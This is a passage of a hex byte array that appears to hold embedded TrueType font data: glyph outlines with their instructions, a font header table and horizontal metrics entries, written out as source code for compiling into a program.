0xb1,0x4,0x5,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5, + 0x10,0xdd,0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2, + 0x1,0x3,0x10,0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15, + 0x23,0x35,0x21,0x15,0x23,0x35,0x2,0x3,0x9a,0x2,0xc,0x9a,0x6,0x7c,0x82,0x82, + 0x82,0x82,0x0,0x0,0x1,0x2,0xe,0x5,0xc4,0x3,0x74,0x6,0xcd,0x0,0x3,0x0, + 0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1, + 0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27, + 0x3,0x37,0x3d,0xfe,0xcc,0x32,0x6,0xcd,0x6f,0x9a,0x4f,0x0,0x1,0x1,0x6a,0x5, + 0xc4,0x2,0xd0,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e, + 0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0, + 0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x1,0xa6,0x1,0x2a,0x32,0xfe,0xcc,0x6, + 0xcd,0xba,0x4f,0x9a,0x0,0x0,0x1,0x1,0x32,0x5,0xc4,0x3,0xac,0x6,0xc7,0x0, + 0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0, + 0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x5,0x27,0x2,0x73,0x1, + 0x39,0x2b,0xfe,0xf2,0xfe,0xe5,0x26,0x6,0xc7,0xb6,0x4d,0x7c,0x7c,0x4d,0x0,0x0, + 0x1,0x1,0x48,0x5,0xe7,0x3,0xb1,0x6,0xa2,0x0,0x11,0x0,0x29,0xb3,0xa,0x9, + 0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0xc,0xa,0x9,0x3,0x1,0x0, + 0x1,0x0,0x13,0x10,0xc0,0xc0,0xc4,0xc0,0xc0,0xc4,0x13,0xb3,0x10,0x3,0x7,0xc, + 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x17,0x6,0x23,0x22,0x27,0x26,0x23,0x22,0x7, + 0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x3,0x63,0x4e,0x54,0x68,0x2c,0x5e,0x54, + 0x27,0x2d,0x29,0x52,0x4a,0x63,0x29,0x5f,0x5b,0x20,0x38,0x6,0xa2,0x33,0x88,0x29, + 0x24,0x49,0x2e,0x88,0x27,0x26,0x0,0x0,0x2,0x1,0xd2,0x5,0xb5,0x3,0xc,0x6, + 0xef,0x0,0x7,0x0,0xf,0x0,0x25,0xb1,0x6,0x2,0x2f,0x2f,0xb3,0xe,0x2,0xa, + 0x6,0x10,0xcd,0x10,0xcd,0x0,0xb4,0x1,0x4,0x0,0x1,0x0,0x13,0x10,0xc4,0xc4, + 0x13,0xb3,0xc,0x4,0x8,0x0,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x32,0x15,0x14, + 0x23,0x22,0x35,0x34,0x17,0x22,0x15,0x14,0x33,0x32,0x35,0x34,0x2,0x6f,0x9d,0x9d, + 0x9d,0x9d,0x59,0x59,0x59,0x6,0xef,0x9d,0x9d,0x9d,0x9d,0x48,0x55,0x55,0x55,0x55, + 0x0,0x0,0x2,0x1,0x6,0x5,0xfa,0x3,0x12,0x6,0x7c,0x0,0x3,0x0,0x7,0x0, + 0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10, + 0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb1, + 0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10, + 0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x21,0x15,0x23,0x35,0x1,0xa0,0x9a,0x2, + 0xc,0x9a,0x6,0x7c,0x82,0x82,0x82,0x82,0x0,0x0,0x1,0x1,0x8f,0x5,0xc4,0x2, + 0xf5,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e, + 0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13, + 0x31,0x30,0x1,0x17,0x5,0x27,0x2,0xb9,0x3c,0xfe,0xcc,0x32,0x6,0xcd,0x6f,0x9a, + 0x4f,0x0,0x1,0x1,0x30,0x5,0xc4,0x2,0x95,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3, + 0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1, + 0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x1,0x6c, + 0x1,0x29,0x32,0xfe,0xcd,0x6,0xcd,0xba,0x4f,0x9a,0x0,0x0,0x1,0x0,0xce,0x5, + 0xc4,0x3,0x49,0x6,0xc7,0x0,0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0, + 0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x5,0x7, + 0x25,0x5,0x27,0x2,0xf,0x1,0x3a,0x2b,0xfe,0xf1,0xfe,0xe5,0x26,0x6,0xc7,0xb6, + 0x4d,0x7c,0x7c,0x4d,0x0,0x0,0x2,0x0,0x15,0x5,0xfa,0x1,0x8b,0x6,0x7c,0x0, + 0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f,0x3c,0xb2, + 0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0,0xb1,0x0, + 0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd,0x3c,0xb2, + 0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x13,0x15,0x23,0x35,0x21,0x15,0x23,0x35, + 0xaf,0x9a,0x1,0x76,0x9a,0x6,0x7c,0x82,0x82,0x82,0x82,0x0,0x1,0x0,0x6f,0x5, + 0xc4,0x1,0xd5,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e, + 0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0, + 0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27,0x1,0x98,0x3d,0xfe,0xcc,0x32,0x6,0xcd, + 0x6f,0x9a,0x4f,0x0,0x1,0xff,0xcb,0x5,0xc4,0x1,0x31,0x6,0xcd,0x0,0x3,0x0, + 0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1, + 0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x13,0x5,0x7,0x25, + 0x7,0x1,0x2a,0x32,0xfe,0xcc,0x6,0xcd,0xba,0x4f,0x9a,0x0,0x1,0xff,0xae,0x5, + 0xc4,0x1,0xf2,0x6,0xc7,0x0,0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0, + 0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x13,0x5,0x7, + 0x27,0x5,0x27,0xd4,0x1,0x1e,0x2b,0xf3,0xff,0x0,0x26,0x6,0xc7,0xb6,0x4d,0x7c, + 0x7c,0x4d,0x0,0x0,0x1,0x1,0xa2,0x5,0xe7,0x4,0xc,0x6,0xa2,0x0,0x11,0x0, + 0x29,0xb3,0xa,0x9,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0xc,0xa, + 0x9,0x3,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc4,0xc0,0xc0,0xc4,0x13,0xb3, + 0x10,0x3,0x7,0xc,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x17,0x6,0x23,0x22,0x27, + 0x26,0x23,0x22,0x7,0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x3,0xbe,0x4e,0x54, + 0x69,0x2c,0x5d,0x54,0x28,0x2d,0x28,0x53,0x4a,0x64,0x28,0x5f,0x5b,0x21,0x37,0x6, + 0xa2,0x33,0x88,0x29,0x24,0x49,0x2e,0x88,0x27,0x26,0x0,0x0,0x2,0x1,0x6e,0x5, + 0xfa,0x3,0x7a,0x6,0x7c,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c, + 0xb1,0x4,0x5,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5, + 0x10,0xdd,0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2, + 0x1,0x3,0x10,0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15, + 0x23,0x35,0x21,0x15,0x23,0x35,0x2,0x8,0x9a,0x2,0xc,0x9a,0x6,0x7c,0x82,0x82, + 0x82,0x82,0x0,0x0,0x1,0x1,0xf8,0x5,0xc4,0x3,0x5d,0x6,0xcd,0x0,0x3,0x0, + 0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1, + 0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27, + 0x3,0x21,0x3c,0xfe,0xcc,0x31,0x6,0xcd,0x6f,0x9a,0x4f,0x0,0x1,0x1,0x98,0x5, + 0xc4,0x2,0xfe,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e, + 0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0, + 0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x1,0xd4,0x1,0x2a,0x32,0xfe,0xcc,0x6, + 0xcd,0xba,0x4f,0x9a,0x0,0x0,0x1,0x1,0x37,0x5,0xc4,0x3,0xb1,0x6,0xc7,0x0, + 0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0, + 0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x5,0x27,0x2,0x77,0x1, + 0x3a,0x2b,0xfe,0xf1,0xfe,0xe6,0x26,0x6,0xc7,0xb6,0x4d,0x7c,0x7c,0x4d,0x0,0x0, + 0x1,0x1,0x54,0x5,0xe7,0x3,0xbe,0x6,0xa2,0x0,0x11,0x0,0x29,0xb3,0xa,0x9, + 0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0xc,0xa,0x9,0x3,0x1,0x0, + 0x1,0x0,0x13,0x10,0xc0,0xc0,0xc4,0xc0,0xc0,0xc4,0x13,0xb3,0x10,0x3,0x7,0xc, + 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x17,0x6,0x23,0x22,0x27,0x26,0x23,0x22,0x7, + 0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x3,0x70,0x4e,0x54,0x68,0x2c,0x5e,0x54, + 0x28,0x2c,0x29,0x53,0x4b,0x63,0x29,0x5e,0x5c,0x20,0x38,0x6,0xa2,0x33,0x88,0x29, + 0x24,0x49,0x2e,0x88,0x27,0x26,0x0,0x0,0x1,0x1,0x0,0x5,0xc4,0x3,0x7b,0x6, + 0xc7,0x0,0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10, + 0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x25,0x37,0x5,0x25,0x17,0x2, + 0x41,0xfe,0xbf,0x26,0x1,0x1b,0x1,0xf,0x2b,0x5,0xc4,0xb6,0x4d,0x7c,0x7c,0x4d, + 0x0,0xff,0xff,0x0,0x3d,0xff,0xf2,0x4,0x43,0x6,0xc7,0x0,0x36,0x0,0x17,0x0, + 0x0,0x0,0x16,0x1,0x1,0x0,0x0,0x0,0x2,0x1,0x99,0x5,0xfa,0x3,0xa5,0x6, + 0x7c,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f, + 0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0, + 0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd, + 0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x21,0x15, + 0x23,0x35,0x2,0x33,0x9a,0x2,0xc,0x9a,0x6,0x7c,0x82,0x82,0x82,0x82,0x0,0x0, + 0x1,0x2,0x23,0x5,0xc4,0x3,0x88,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2, + 0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13, + 0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27,0x3,0x4c,0x3c,0xfe, + 0xcd,0x32,0x6,0xcd,0x6f,0x9a,0x4f,0x0,0x1,0x1,0xc3,0x5,0xc4,0x3,0x29,0x6, + 0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6, + 0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30, + 0x1,0x5,0x7,0x25,0x1,0xff,0x1,0x2a,0x32,0xfe,0xcc,0x6,0xcd,0xba,0x4f,0x9a, + 0x0,0x0,0x1,0x1,0x62,0x5,0xc4,0x3,0xdc,0x6,0xc7,0x0,0x5,0x0,0x24,0xb5, + 0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1, + 0x5,0x4,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0, + 0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x5,0x27,0x2,0xa3,0x1,0x39,0x2b,0xfe,0xf2, + 0xfe,0xe5,0x26,0x6,0xc7,0xb6,0x4d,0x7c,0x7c,0x4d,0x0,0x0,0x1,0x1,0xdf,0x5, + 0xc4,0x3,0x45,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e, + 0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0, + 0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27,0x3,0x8,0x3d,0xfe,0xcc,0x32,0x6,0xcd, + 0x6f,0x9a,0x4f,0xff,0xff,0xff,0xf6,0x0,0x0,0x4,0x8b,0x6,0xcd,0x0,0x36,0x0, + 0x1d,0x0,0x0,0x0,0x16,0x1,0x7,0x0,0x0,0x0,0x2,0x1,0x3a,0x5,0xfa,0x3, + 0x46,0x6,0x7c,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4, + 0x5,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd, + 0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3, + 0x10,0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35, + 0x21,0x15,0x23,0x35,0x1,0xd4,0x9a,0x2,0xc,0x9a,0x6,0x7c,0x82,0x82,0x82,0x82, + 0x0,0x0,0x2,0x0,0x58,0xff,0xf2,0x3,0x8b,0x3,0xca,0x0,0x1c,0x0,0x27,0x0, + 0x60,0xb1,0x8,0x7,0x2f,0x3c,0xb3,0x16,0x15,0x9,0x7,0x10,0xdd,0x3c,0x3c,0xb5, + 0x1b,0x14,0xf,0x1,0x0,0x9,0x10,0xc0,0xc0,0xc4,0xc0,0xc4,0xb6,0x25,0x25,0xb, + 0xa,0x3,0x7,0x9,0x11,0x12,0x17,0x39,0x2f,0xb1,0x20,0xf,0x10,0xcd,0x0,0xb1, + 0x9,0x8,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0xb,0x12,0x16,0x15,0x14,0x12, + 0xb,0xa,0x7,0x7,0x1,0x8,0x11,0x12,0x17,0x39,0x2f,0xb3,0xd,0x0,0x4,0x2, + 0x3f,0x3f,0xb5,0x23,0xd,0x1d,0x12,0x19,0x4,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31, + 0x30,0x1,0x23,0x34,0x36,0x33,0x32,0x16,0x15,0x11,0x23,0x37,0x27,0x6,0x23,0x20, + 0x11,0x34,0x36,0x33,0x32,0x17,0x37,0x35,0x34,0x26,0x23,0x20,0x15,0x14,0x17,0x22, + 0x6,0x15,0x14,0x16,0x33,0x20,0x35,0x34,0x26,0x1,0xc,0x8b,0x97,0xdc,0xef,0xa8, + 0x8c,0xb,0x3,0x50,0xf5,0xfe,0x96,0xa2,0xd4,0xfc,0x32,0x3,0x5a,0x98,0xfe,0xfe, + 0xe2,0xa1,0x61,0x61,0x9e,0x1,0x1c,0x73,0x2,0xb0,0xa7,0x73,0x8d,0xc6,0xfd,0x89, + 0x67,0x1,0x76,0x1,0x23,0xad,0x84,0x63,0x1,0x74,0xa4,0x61,0x91,0x7,0xf3,0x43, + 0x6e,0x73,0x48,0xb0,0x6f,0x4d,0x0,0x0,0x2,0xff,0xf0,0x4,0x66,0x1,0x92,0x4, + 0xe8,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f, + 0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0, + 0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd, + 0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x13,0x15,0x23,0x35,0x21,0x15, + 0x23,0x35,0x8a,0x9a,0x1,0xa2,0x9a,0x4,0xe8,0x82,0x82,0x82,0x82,0xff,0xff,0x0, + 0x4f,0xff,0xf2,0x3,0x7c,0x5,0x49,0x0,0x36,0x0,0x35,0x0,0x0,0x0,0x16,0x0, + 0x8f,0xe5,0x0,0xff,0xff,0xff,0xf9,0xfe,0x53,0x3,0x22,0x5,0x47,0x0,0x36,0x0, + 0x3b,0x0,0x0,0x0,0x16,0x0,0x8c,0xa9,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0, + 0x1,0x0,0x0,0xcd,0x8a,0x8e,0xe4,0x5f,0xf,0x3c,0xf5,0x0,0xb,0x8,0x0,0x0, + 0x0,0x0,0x0,0xa6,0xe8,0xcd,0xc6,0x0,0x0,0x0,0x0,0xa7,0x95,0x67,0x76,0xfe, + 0x86,0xfe,0x0,0x8,0xfb,0x6,0xef,0x0,0x0,0x0,0x9,0x0,0x2,0x0,0x0,0x0, + 0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x6,0x66,0xfe,0x66,0x0,0x0,0x9,0x21,0xfe, + 0x86,0xfe,0x85,0x8,0xfb,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x0,0x0,0x1,0xe,0x2,0xaa,0x0,0x44,0x0,0x0,0x0,0x0,0x2, + 0xaa,0x0,0x0,0x2,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x4,0xde,0x0,0xa,0x4, + 0xf0,0x0,0x82,0x4,0xc6,0x0,0x4c,0x5,0x3a,0x0,0x82,0x3,0xfc,0x0,0x4b,0x3, + 0xe9,0x0,0x82,0x4,0xf4,0x0,0x4b,0x5,0x55,0x0,0x82,0x1,0xa1,0x0,0x82,0x4, + 0x4,0x0,0x35,0x4,0xd3,0x0,0x82,0x3,0xe1,0x0,0x82,0x6,0xdd,0x0,0x82,0x5, + 0x92,0x0,0x82,0x4,0xe8,0x0,0x2f,0x4,0xb8,0x0,0x82,0x5,0x3e,0x0,0x30,0x4, + 0xfc,0x0,0x82,0x4,0x7a,0x0,0x3d,0x4,0x1e,0x0,0x7,0x5,0x3d,0x0,0x83,0x4, + 0x93,0xff,0xf6,0x7,0xfd,0x0,0x3,0x4,0xa6,0xff,0xf6,0x4,0x80,0xff,0xf6,0x4, + 0x89,0x0,0x30,0x7,0x6e,0xff,0xf7,0x7,0xe4,0x0,0x4c,0x5,0x9,0x0,0x14,0x4, + 0xc6,0x0,0x4c,0x4,0x14,0x0,0x59,0x4,0x17,0x0,0x7b,0x3,0xe1,0x0,0x5f,0x4, + 0x15,0x0,0x61,0x4,0x5,0x0,0x5f,0x2,0x1f,0x0,0xe,0x4,0x15,0x0,0x60,0x4, + 0x1d,0x0,0x7b,0x1,0x81,0x0,0x7b,0x1,0x7d,0xff,0xf6,0x3,0x71,0x0,0x7b,0x1, + 0x82,0x0,0x7b,0x6,0x9b,0x0,0x7b,0x4,0x20,0x0,0x7b,0x4,0xc,0x0,0x60,0x4, + 0x15,0x0,0x7b,0x4,0x14,0x0,0x60,0x3,0x30,0x0,0x89,0x3,0xca,0x0,0x4f,0x2, + 0x9b,0xff,0xf6,0x4,0xf,0x0,0x7b,0x3,0x38,0xff,0xf9,0x5,0x5d,0x0,0x7,0x3, + 0x3b,0xff,0xf9,0x3,0x1c,0xff,0xf9,0x3,0x3a,0x0,0x2c,0x6,0xa1,0x0,0x59,0x6, + 0xb2,0x0,0x5f,0x4,0xd,0x0,0x3b,0x4,0x31,0x0,0x82,0x1,0x81,0x0,0x7b,0x3, + 0xa7,0x0,0xe,0x3,0xa7,0x0,0xe,0x3,0xe1,0x0,0x5f,0x4,0xe9,0x0,0xd2,0x4, + 0xe8,0x0,0x6f,0x4,0xe8,0x0,0x69,0x4,0xe8,0x0,0x36,0x4,0xe8,0x0,0x85,0x4, + 0xe7,0x0,0x63,0x4,0xe8,0x0,0x62,0x4,0xe9,0x0,0x68,0x4,0xe9,0x0,0x65,0x4, + 0xe8,0x0,0x5d,0x4,0xe9,0x0,0x5f,0x4,0xe9,0x0,0x37,0x4,0xe7,0x0,0xb7,0x4, + 0xe8,0x0,0x92,0x4,0xe9,0x0,0x45,0x1,0x90,0x0,0x7b,0x1,0x90,0x0,0x7b,0x1, + 0x90,0x0,0x7b,0x4,0xc7,0x0,0x7b,0x1,0x96,0x0,0x6d,0x1,0x6d,0x0,0x44,0x1, + 0x6e,0x0,0x56,0x2,0x8d,0x0,0x62,0x2,0x8d,0x0,0x56,0x2,0x8d,0x0,0x62,0x1, + 0xeb,0x0,0xa0,0x1,0xeb,0x0,0xa2,0x4,0x28,0x0,0x6d,0x4,0x28,0x0,0x66,0x3, + 0x93,0x0,0x66,0x3,0x93,0x0,0x66,0x2,0x42,0x0,0x66,0x2,0x42,0x0,0x66,0x5, + 0x2b,0xff,0x78,0x1,0xa9,0x0,0x0,0x4,0xe8,0x0,0xe3,0x5,0x89,0x0,0x0,0x2, + 0x38,0x0,0x67,0x2,0x38,0x0,0x66,0x2,0x37,0x0,0x71,0x2,0x37,0x0,0x69,0x5, + 0x9a,0x0,0x75,0x4,0xe9,0x0,0x9a,0x4,0xe8,0x0,0xec,0x4,0xe8,0x0,0xec,0x4, + 0xe9,0x1,0x7,0x1,0x43,0x0,0x5d,0x2,0x7f,0x0,0x5d,0x5,0xa,0x0,0x52,0x4, + 0xe8,0x0,0x5e,0x2,0xed,0x0,0x5d,0x4,0xe8,0x0,0x9b,0x4,0xe8,0x0,0x9b,0x4, + 0xe8,0x0,0x9b,0x6,0x5e,0xff,0xfd,0x4,0xec,0x0,0x60,0x5,0x55,0x0,0x72,0x1, + 0x96,0x0,0x6d,0x1,0x96,0x0,0x7b,0x3,0xf,0x0,0xab,0x3,0xf,0x0,0xab,0x3, + 0x45,0x0,0x75,0x3,0x45,0x0,0x84,0x4,0xe9,0x0,0x94,0x1,0x11,0xfe,0x86,0x6, + 0x49,0x0,0x22,0x9,0x21,0x0,0x22,0x5,0x2b,0xff,0x78,0x4,0x0,0x0,0xfa,0x3, + 0xf9,0x1,0xb0,0x4,0x0,0x1,0x63,0x4,0x0,0x1,0x8b,0x4,0x0,0x1,0x1e,0x4, + 0x0,0x0,0xf9,0x4,0x0,0x0,0xf9,0x4,0x0,0x0,0xf7,0x4,0x0,0x0,0xeb,0x4, + 0x0,0x1,0x25,0x4,0x0,0x1,0x93,0x4,0x0,0x2,0x15,0x3,0xff,0x1,0x5,0x5, + 0xf7,0x0,0x44,0x5,0xf7,0x0,0x44,0x2,0x38,0x0,0x0,0x4,0x27,0x0,0x0,0x4, + 0xe1,0x0,0x0,0x3,0x78,0x0,0x0,0x5,0x55,0x0,0x0,0x2,0x6a,0x0,0x0,0x3, + 0xd8,0x0,0x0,0x3,0x77,0x0,0x0,0x3,0x77,0x0,0x0,0x3,0x77,0x0,0x0,0x3, + 0x77,0x0,0x0,0x3,0x77,0x0,0x0,0x5,0xa,0x0,0x0,0x4,0xfd,0x0,0x0,0x4, + 0x9e,0x0,0x0,0x3,0x7f,0x0,0x0,0x3,0x92,0x0,0x0,0x0,0x8c,0x0,0x0,0x4, + 0x0,0x0,0x0,0x4,0x28,0x0,0x0,0x3,0xd8,0x0,0x0,0x3,0x39,0x0,0x0,0x4, + 0xe1,0x0,0x0,0x4,0xde,0x0,0xa,0x4,0xde,0x0,0xa,0x4,0xde,0x0,0xa,0x4, + 0xde,0x0,0xa,0x4,0xde,0x0,0xa,0x4,0xde,0x0,0xa,0x3,0xfc,0x0,0x4b,0x3, + 0xfc,0x0,0x4b,0x3,0xfc,0x0,0x4b,0x3,0xfc,0x0,0x4b,0x1,0xa0,0x0,0x15,0x1, + 0xa0,0x0,0x6f,0x1,0xa0,0xff,0xcb,0x1,0xa0,0xff,0xae,0x5,0x92,0x0,0x82,0x4, + 0xe8,0x0,0x2f,0x4,0xe8,0x0,0x2f,0x4,0xe8,0x0,0x2f,0x4,0xe8,0x0,0x2f,0x4, + 0xe8,0x0,0x2f,0x5,0x3d,0x0,0x83,0x5,0x3d,0x0,0x83,0x5,0x3d,0x0,0x83,0x5, + 0x3d,0x0,0x83,0x4,0x80,0xff,0xf6,0x4,0x14,0x0,0x59,0x4,0x14,0x0,0x59,0x4, + 0x14,0x0,0x59,0x4,0x14,0x0,0x59,0x4,0x14,0x0,0x59,0x4,0x14,0x0,0x59,0x4, + 0x5,0x0,0x5f,0x4,0x5,0x0,0x5f,0x4,0x5,0x0,0x5f,0x4,0x5,0x0,0x5f,0x1, + 0x81,0xff,0xf0,0x1,0x81,0x0,0x59,0x1,0x81,0xff,0xd1,0x1,0x81,0xff,0xd5,0x4, + 0x20,0x0,0x7b,0x4,0xc,0x0,0x60,0x4,0xc,0x0,0x60,0x4,0xc,0x0,0x60,0x4, + 0xc,0x0,0x60,0x4,0xc,0x0,0x60,0x4,0xf,0x0,0x7b,0x4,0xf,0x0,0x7b,0x4, + 0xf,0x0,0x7b,0x4,0xf,0x0,0x7b,0x3,0x1c,0xff,0xf9,0x5,0x39,0x0,0x0,0x4, + 0xb8,0x0,0x82,0x4,0xc,0x0,0x60,0x4,0x15,0x0,0x7b,0x3,0x31,0x0,0x8c,0x3, + 